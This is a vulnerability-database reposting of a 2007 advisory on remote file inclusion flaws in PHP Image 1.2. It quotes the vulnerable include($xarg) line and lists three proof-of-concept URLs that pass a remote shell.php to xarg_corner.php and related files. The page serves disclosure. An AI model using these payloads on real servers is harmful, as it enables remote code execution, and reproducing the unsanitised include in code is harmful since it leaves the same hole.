Lucene search

PHP Image 1.2 Multiple Remote File Inclusion Vulnerabilities

🗓️ 23 Oct 2007 00:00:00Reported by CiviType

zdt🔗 0day.today👁 18 Views

PHP Image 1.2 Remote File Inclusion Vulnerabilitie

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

============================================================
PHP Image 1.2 Multiple Remote File Inclusion Vulnerabilities
============================================================



PHP Image v1.2 Multiple Remote File Inclusion

Download: http://www.phpimage.co.uk/phpimage_v_1_2.zip

Bug found by Civi

Vuln code in xarg_corner.php, xarg_corner_bottom.php, xarg_corner_top.php:

<td style="background-image: url(images/cor_top_fill.jpg);"><?php include($xarg); ?></td>

POC:

http://site/xarg_corner.php?xarg=http://shell.php?
http://site/xarg_corner_bottom.php?xarg=http://shell.php ?
http://site/xarg_corner_top.php?xarg=http://shell.php?



#  0day.today [2018-03-01]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

23 Oct 2007 00:00Current

7.1High risk

Vulners AI Score7.1